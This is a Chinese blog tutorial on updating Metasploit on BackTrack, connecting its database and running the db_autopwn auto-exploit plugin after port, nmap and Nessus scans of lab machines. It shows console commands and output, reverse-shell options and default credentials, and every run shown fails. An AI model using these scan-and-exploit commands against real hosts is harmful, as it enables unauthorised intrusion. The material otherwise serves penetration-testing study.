1. 科普Metasploit

 
以前只是个Back Track操作系统(简称:BT) 下的攻击框架,自成继承了后攻击渗透模块,隐隐有成为攻击平台的趋势。
我们都戏称它为美少妇,很简单,msf。
它的强大吧,怎么说了,从前期的信息搜集,到攻击载荷,再到后渗透攻击,都有完善的功能。
唯一的缺点就是,某些exploit,更新比较慢。
让我带你们来初探下这位美少妇吧。
 
 

2. 更新Metasploit

 
4.5版本的:
  1. =[ metasploit v4.5.0-dev [core:4.5 api:1.0]
  2. + -- --=[ 927 exploits - 499 auxiliary - 151 post
  3. + -- --=[ 251 payloads - 28 encoders - 8 nops

4.9版本的:

  1. =[ metasploit v4.9.0-dev [core:4.9 api:1.0]
  2. + -- --=[ 1251 exploits - 682 auxiliary - 201 post
  3. + -- --=[ 326 payloads - 32 encoders - 8 nops
更新步骤:
  1. 1. apt-get update——>更新源列表
  2. 2. cd /opt/metasploit后,删除原先的msf3:rm -rf msf3
  3. 3. git clone --depth=1 git://github.com/rapid7/metasploit-framewok msf3   最后的msf3是我们重新在原来的位置重建msf3
  4. 4. 修改配置文件:
  5. 32位系统:/opt/metasploit/ruby/lib/ruby/1.9.1/i686-linux/rbconfig.rb
  6. 64位系统:/opt/metasploit/ruby/lib/ruby/1.9.1/x86_64-linux/rbconfig.rb
  7. 定位  CONFIG["LIBRUBYARG_STATIC"] = "-W1, -R, W1, $(libdir) -L$(libdir) -1$(RUBY_SO_NAME)-static"
  8. 后,删掉  -1$(RUBY_SO_NAME)-static部分
  9. 4. 进入msf3下,运行./msfupdate等待完成即可

注事事项:

  1. 1.如果在git那一步,出错,说找不到msf,可能是网络连接不好,本人亲自去github看了下,发现是存在的,后来10分钟后连续敲了相同的命令,clone成功。
  2. 2.可能会遇到bundle install 的问题,ruby版本不对,没关系,请按照上面的步骤来,就可以了。
 

3. 开启Metasploit

 
  1. root@bt:~# cd /opt/metasploit/msf3
  2. root@bt:/opt/metasploit/msf3# msfconsole
 
 
 

4.  连接数据库

 
BT5r3下的msf是需要我们自己去每一次都去连接数据库的。
  1. msf < cat /opt/metasploit/config/database.yml
  2. [*] exec:  cat /opt/metasploit/config/database.yml
  3. #
  4. # These settings are for the database used by the Metasploit Framework
  5. # unstable tree included in this installer, not the commercial editions.
  6. #
  7. development:
  8. adapter: "postgresql"
  9. database: "msf3dev"
  10. username: "msf3"
  11. password: "4bfedfc2"
  12. port: 7337
  13. host: "localhost"
  14. pool: 256
  15. timeout: 5
  16. production:
  17. adapter: "postgresql"
  18. database: "msf3dev"
  19. username: "msf3"
  20. password: "4bfedfc2"
  21. port: 7337
  22. host: "localhost"
  23. pool: 256
  24. timeout: 5
  25. msf > db_connect msf3:4bfedfc2@127.0.0.1:7337/msf3dev
  26. msf > creds
  27. Credentials
  28. ===========
  29. host  port  user  pass  type  active?
  30. ----  ----  ----  ----  ----  -------
  31. [*] Found 0 credentials.
  32. msf >

creds 是查看数据库的命令。

不过一般都用hosts命令!
 
 
如果遇到错误:gem install pg
那么是配置问题,这么修改即可:
  1. vi /opt/metasploit/msf3/msfconsole
  2. change #!/usr/bin/env ruby to #!/opt/metasploit/ruby/bin/ruby in the top of msfconsole.

原理是:http://www.fightingman.org/blog/2012/12/04/connect-to-postgresql-via-msfconsole-in-metasploit/#disqus_thread

 
 
如果遇到错误:没安装postgresql
  1. deb http://ubuntu.mirror.cambrium.nl/ubuntu/ precise main universe
  2. # 添加软件源
  3. sudo apt-get install postgresql
  4. sudo apt-get install rubygems libpq-dev
  5. apt-get install libreadline-dev
  6. apt-get install libssl-dev
  7. apt-get install libpq5
  8. apt-get install ruby-dev
  9. sudo apt-get install libpq-dev
  10. sudo gem install pg

如果不会操作数据库:

  1. passwd postgres                            修改postgres密码
  2. su postgres                                进入数据库
  3. createuser xxx -P                          创建xxx用户(然后输入密码,Y/N一直选择N即可)
  4. createdb --owner=user xxx                  创建一个XXX数据库
  5. psql xxx                                   进入xxx数据库
  6. psql -l                                    列出数据库
  7. dropuser                                   删除用户
  8. dropdb                                     删除数据库

5. 载入和使用db_autopwn

 
 

5.0 载入db_autopwn

 
db_autopwn是msf以前自带的自动攻击模块,但是新版本被取消了,原因不详。
下载后,cp放到:

  1. /opt/metasploit/msf3/plugins/db_autopwn.rb

然后进入msf后加载db_autopwn:

  1. load db_autopwn

而使用的命令是:

  1. db_autopwn -r -p -t -e

参数:

-r 是反向连接,-b是正向监听连接
-p 是更加端口来搞
-t 是显示exp模块
-e 是开搞
因为没有指定IP,所以开搞的对象是hosts数据库的所有IP。
你最好删除所有不需要扫的IP吧,只留一个或几个你要扫的目标。
 
额,如果想要指定IP来攻击,我们知道有个参数-I,但是如果在高版本的MSF使用它,会出现以下错误:
  1. ERROR: NoMethodError undefined method `range_include?'
很明显,MSF已经抛弃了自动攻击,有些函数如range_inlclude()可能也重写或换名了,找不到很正常,如果要用自动攻击,请放弃该参数:-I。
事实上,本人是不赞同用自动化攻击的,1是动静比扫描要大得多(猜测,毕竟动不动就几百个exp的测试),2是显得太无脑了。
 
正确的套路:
可以先初步扫描一下确定目标的大概情况。
从OS类型,版本,开放的端口,初步确定一些exp,然后慢慢一个个打上去,这才是搞渗透的嘛。
 
 
 

5.1 msf自带扫描器+db_autopwn

 
 
  1. 下载:db_autopwn.rb
  2. 放到~/Desktop下
  3. 在终端:
  4. root@bt:~/Desktop# cp db_autopwn.rb /opt/metasploit/msf3/plugins/
  5. 在msf:
  6. msf > load db_autopwn
  7. msf > db_autopwn -h
  8. -h          Display this help text
  9. -t          Show all matching exploit modules
  10. -x          Select modules based on vulnerability references
  11. -p          Select modules based on open ports
  12. -e          Launch exploits against all matched targets
  13. -r          Use a reverse connect shell
  14. -b          Use a bind shell on a random port (default)
  15. -q          Disable exploit module output
  16. -R  [rank]  Only run modules with a minimal rank
  17. -I  [range] Only exploit hosts inside this range
  18. -X  [range] Always exclude hosts inside this range
  19. -PI [range] Only exploit hosts with these ports open
  20. -PX [range] Always exclude hosts with these ports open
  21. -m  [regex] Only run modules whose name matches the regex
  22. -T  [secs]  Maximum runtime for any exploit in seconds
  23. msf > use auxiliary/scanner/portscan/tcp
  24. msf > show options #看看那还需要设置什么
  25. msf > set RHOSTS 192.168.0.113 #113这台机器是win2003,只打了9个补丁,很纯净
  26. msf > set THREADS 8  #设置线程数8
  27. msf > run #开启端口扫描
  28. msf > db_autopwn -t -r -p -e #-r 反弹shell -p 根据ports来搞 -t 显示全部modules  -e 开搞

不得不吐槽一下,就这个msf自带扫描器+自动化攻击,连个只打了9个补丁的win2003都拿不下。

经测试,目前只有XPSP1能够拿下(泪啊),如果对方开了win自带的防火墙,自动攻击就不会有任何反应,此时应该Ctrl+C终止。
 
 
 

5.2 db_nmap + db+autopwn

 
什么是nmap?一款很强大的扫描器,可傻瓜化使用,可以用高级命令。它和msf是好基友,msf集成了nmap,然后叫做db_nmap。
本人总结至此,中断,去总结另一篇博文:初探nmap ,有各个命令的用法和作用,希望可能被当成一个手册去使用。不仅如此,我还转载了一篇nmap实战文:nmap在实战中的高级用法,其实回过头来,发现把命令什么的认知清楚,把重要的命令背下来,自然而然就在实战会用了。所谓的实战高级用法,不过是经验而已。不过总的来说,这篇总结的还算不错。
 
 
回归主题,我们先把postgreSQL数据库清空一下:
  1. hosts -d

如果-d后面加IP,就只删除IP,如果没指定,就删除所有IP,有的IP删除起来要多费一些时间(1分钟),有的则是几秒的事。

db_nmap开扫:
  1. db_nmap  -T Aggressive -n -A -v ip

-T Aggressive 指定扫描速度:积极,就是-T4的另一个名字。

-n 不做DNS解析。
 -A == (-O 系统类型 )+ (-sV 服务扫描)。
-v 显示详细的过程信息。
这个命令是我最喜欢用的命令了。
 
 
  1. msf> hosts -d
  2. Hosts
  3. =====
  4. address        mac                name  os_name  os_flavor  os_sp  purpose  info  comments
  5. -------        ---                ----  -------  ---------  -----  -------  ----  --------
  6. 192.168.0.1    34:08:04:0B:70:E8        Unknown                    device
  7. 192.168.0.104  CC:78:5F:84:64:27        Unknown                    device
  8. 192.168.0.105  EC:A8:6B:86:9A:5E        Unknown                    device
  9. 192.168.0.108                           Unknown                    device
  10. 192.168.0.110  44:37:E6:A0:96:79        Unknown                    device
  11. 192.168.0.112  00:0C:29:A3:56:29        Unknown                    device
  12. [*] Deleted 6 hosts
  13. msf> hosts
  14. Hosts
  15. =====
  16. address  mac  name  os_name  os_flavor  os_sp  purpose  info  comments
  17. -------  ---  ----  -------  ---------  -----  -------  ----  --------
  18. msf> db_nmap -sS -A -T4 192.168.0.112
  19. [*] Nmap: Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2014-01-08 13:51 CST
  20. [*] Nmap: Nmap scan report for 192.168.0.112
  21. [*] Nmap: Host is up (0.00047s latency).
  22. [*] Nmap: Not shown: 997 closed ports
  23. [*] Nmap: PORT    STATE SERVICE      VERSION
  24. [*] Nmap: 135/tcp open  msrpc        Microsoft Windows RPC
  25. [*] Nmap: 139/tcp open  netbios-ssn
  26. [*] Nmap: 445/tcp open  microsoft-ds Microsoft Windows XP microsoft-ds
  27. [*] Nmap: MAC Address: 00:0C:29:A3:56:29 (VMware)
  28. [*] Nmap: Device type: general purpose
  29. [*] Nmap: Running: Microsoft Windows XP
  30. [*] Nmap: OS CPE: cpe:/o:microsoft:windows_xp
  31. [*] Nmap: OS details: Microsoft Windows XP SP2 or SP3
  32. [*] Nmap: Network Distance: 1 hop
  33. [*] Nmap: Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
  34. [*] Nmap: Host script results:
  35. [*] Nmap: |_nbstat: NetBIOS name: EMASTER-A2C3258, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:a3:56:29 (VMware)
  36. [*] Nmap: | smb-security-mode:
  37. [*] Nmap: |   Account that was used for smb scripts: guest
  38. [*] Nmap: |   User-level authentication
  39. [*] Nmap: |   SMB Security: Challenge/response passwords supported
  40. [*] Nmap: |_  Message signing disabled (dangerous, but default)
  41. [*] Nmap: |_smbv2-enabled: Server doesn't support SMBv2 protocol
  42. [*] Nmap: | smb-os-discovery:
  43. [*] Nmap: |   OS: Windows XP (Windows 2000 LAN Manager)
  44. [*] Nmap: |   Computer name: emaster-a2c3258
  45. [*] Nmap: |   NetBIOS computer name: EMASTER-A2C3258
  46. [*] Nmap: |   Workgroup: WORKGROUP
  47. [*] Nmap: |_  System time: 2014-01-08 13:51:25 UTC+8
  48. [*] Nmap: TRACEROUTE
  49. [*] Nmap: HOP RTT     ADDRESS
  50. [*] Nmap: 1   0.47 ms 192.168.0.112
  51. [*] Nmap: OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
  52. [*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 11.14 seconds
  53. msf> hosts
  54. Hosts
  55. =====
  56. address        mac                name  os_name            os_flavor  os_sp  purpose  info  comments
  57. -------        ---                ----  -------            ---------  -----  -------  ----  --------
  58. 192.168.0.112  00:0C:29:A3:56:29        Microsoft Windows  XP                device
  59. msf> db_autopwn -p -t -r -e
 

再科普一次:

-p 根据端口
-t 显示module名
-r 反弹shell
-e 开搞
额,这个依旧是 0 sessions!
XP sp3 都拿不下额。。

不吐槽了,毕竟自动攻击本来就不推荐,而且在强调一次,动作过大!
 
 
 
 

5.3 Nessus+db_autopwn

 
Nessus是目前最流行的扫描器之一,功能强大。
因为是三种中最牛逼的一个,所以放到最后讲。
BT5r3下如何安装Nessus?
 
 
  1. #启动nessus服务
  2. root@bt:~# /etc/init.d/nessusd start
  3. #启动apache服务
  4. root@bt:~# /etc/init.d/apache2 start
  5. #进入nessus页面
  6. 通过https://bt:8834或者https://127.0.0.1:8834访问。
  7. 注意是https。https://localhost:8834是访问不了的。
  8. 密码:root/toor
 
nessus的操作:
  1. 1、新建一个要扫的内容策略如:basic scan(Policy)
  2. 2、new scan
  3. 3、export 结果到1.nessus

然后用db_import把扫描导入msf:

  1. msf> hosts -d
  2. Hosts
  3. =====
  4. address        mac                name           os_name            os_flavor  os_sp  purpose  info  comments
  5. -------        ---                ----           -------            ---------  -----  -------  ----  --------
  6. 192.168.0.112  00:0C:29:A3:56:29  192.168.0.112  Microsoft Windows  XP                device
  7. [*] Deleted 1 hosts
  8. msf> db_import /root/Desktop/1.nessus
  9. [*] Importing 'Nessus XML (v2)' data
  10. [*] Importing host 192.168.0.112
  11. [*] Successfully imported /root/Desktop/1.nessus
  12. msf> hosts
  13. Hosts
  14. =====
  15. address        mac                name           os_name                               os_flavor  os_sp  purpose  info  comments
  16. -------        ---                ----           -------                               ---------  -----  -------  ----  --------
  17. 192.168.0.112  00:0C:29:A3:56:29  192.168.0.112  EMC CLARiiON AX150SCi SAN Disk Array                    device
  18. msf> db_autopwn -p -r -t -e

好吧,这么强大的扫描器和这么强大的利用平台,结合在一起,是0 sessions,只能证明我太傻比了,还不会灵活应用。

但是攻击手法应该就是这样子了。
 
本次的自动攻击就到这,再次强调,用自动攻击都是战五渣,真正的手法的都是自己找弱点,然后寻找合适的exp,然后exploit。
本文就是科普下自动攻击的手法,用来搞搞XPsp1还是没问题的。
 
 
 
 
 
emaster,关注信息安全的胖子
欢迎转载,但转载请注明地址:http://blog.csdn.net/emaste_r/article/details/17676927

[转]初探Metasploit的自动攻击的更多相关文章

  1. Metasploit自动攻击和选择模块攻击详解

    Author:魔术@Freebuf.com 0×1自动攻击 终端启动Metasploit,因为我现在Source Code,所以这样启动! 连接数据库 安装方法,执行以下命令即可(请用ROOT执行). ...

  2. Metasploit自动攻击模块

    Metasploit自动攻击模块 Usage: db_autopwn [options] -h Display this help text -t Show all matching exploit ...

  3. 【360图书馆】插入U盘自动攻击:BadUSB原理与实现

    插入U盘自动攻击:BadUSB原理与实现       漏洞背景 “BadUSB”是今年计算机安全领域的热门话题之一,该漏洞由Karsten Nohl和Jakob Lell共同发现,并在今年的Black ...

  4. 【研究】Metasploit自动攻击模块

    环境:kali-linux-2017.3-vm-amd64 一.安装postgresql数据库 apt-get install postgresql apt-get install rubygems ...

  5. 实验三 kali下metasploit的漏洞攻击实践

    一.实验内容 1.使用kali进行靶机的漏洞扫描,利用metasploit选择其中的一个漏洞进行攻击,并获取权限. 2.分析攻击的原理以及获取了什么样的权限. 二.实验要求 1.熟悉kali原理和使用 ...

  6. 使用metasploit进行栈溢出攻击-4

    有了漏洞我们就可以进行攻击了.首先我们需要了解metasploit的exploit模块,具体可以看 http://www.offensive-security.com/metasploit-unlea ...

  7. 使用metasploit进行栈溢出攻击-2

    基本的栈溢出搞明白了,真实攻击中一个很重要的问题是shellcode生成. 利用Metasploit提供的工具,可以方便的生成shellcode,然后可以使用第一篇中的代码进行验证. 先说一下如何生成 ...

  8. Metasploit之后渗透攻击(信息收集、权限提升)

    利用永恒之蓝漏洞入侵Windows7 流程参考https://www.jianshu.com/p/03a1c13f963a,实在是太棒啦!!! 目标主机为win7(IP:192.168.1.102): ...

  9. 使用metasploit进行栈溢出攻击-5

    我们先尝试使用这个脚本进行攻击: msf > use exploit/linux/myvictim msf exploit(myvictim) > set payload linux/x8 ...

随机推荐

  1. dedecms在首页或列表调取文章内容body的三个方法

    有时需要在网站首页或栏目封面上显示几篇文章的内页作为导语或其他什么的,但acrlist标签是不能直接调取body的,这时我们就需要使用以下方法来调取body. 方法一:arcticle 标签 加上ch ...

  2. Rotate Image

    You are given an n x n 2D matrix representing an image. Rotate the image by 90 degrees (clockwise). ...

  3. Updating My Notepad_1.1

    The old version Notepad 1.0 you can get it from below link : My Notepad I am very happy to announce ...

  4. ZeroMQ接口函数之 :zmq_bind - 绑定一个socket

    ZeroMQ 官方地址 : http://api.zeromq.org/4-0:zmq-bind zmq_bind(3) ZMQ Manual - ZMQ/3.2.5 Name zmq_bind -  ...

  5. Select Option

    jQuery获取Select元素,并选择的Text和Value: 1. $("#select_id").change(function(){//code...}); //为Sele ...

  6. IOS网络第五天 AFN-01发送get和post请求

    ************AFN01-基本使用 #import "HMViewController.h" #import "AFNetworking.h" @in ...

  7. 通过IP地址屏蔽各种“推广”

    事情的起因是这样的:最近老是发现iPhone应用的底部出现各种横条广告,一开始以为是Google的广告推广,所以没管它,但是最近这些广告越来越猖狂,里面的内容越来越垃圾.今天仔细一看,原来不是Goog ...

  8. Educational Codeforces Round 6 E dfs序+线段树

    题意:给出一颗有根树的构造和一开始每个点的颜色 有两种操作 1 : 给定点的子树群体涂色 2 : 求给定点的子树中有多少种颜色 比较容易想到dfs序+线段树去做 dfs序是很久以前看的bilibili ...

  9. 腾讯QQ认证空间4月27日已全面开放申请,欲进军自媒体

    今天看到卢松松的博客上爆出,腾讯QQ认证空间4月27日已全面开放申请的消息,这一消息出来, 马浩周根据提示方法进行申请,下面先说说腾讯QQ认证空间的申请方法: QQ认证空间开放申请公告地址:http: ...

  10. Android中 Bitmap和Drawable相互转换的方法

    1.Drawable->Bitmap Resources res=getResources(); Bitmap bmp=BitmapFactory.decodeResource(res, R.d ...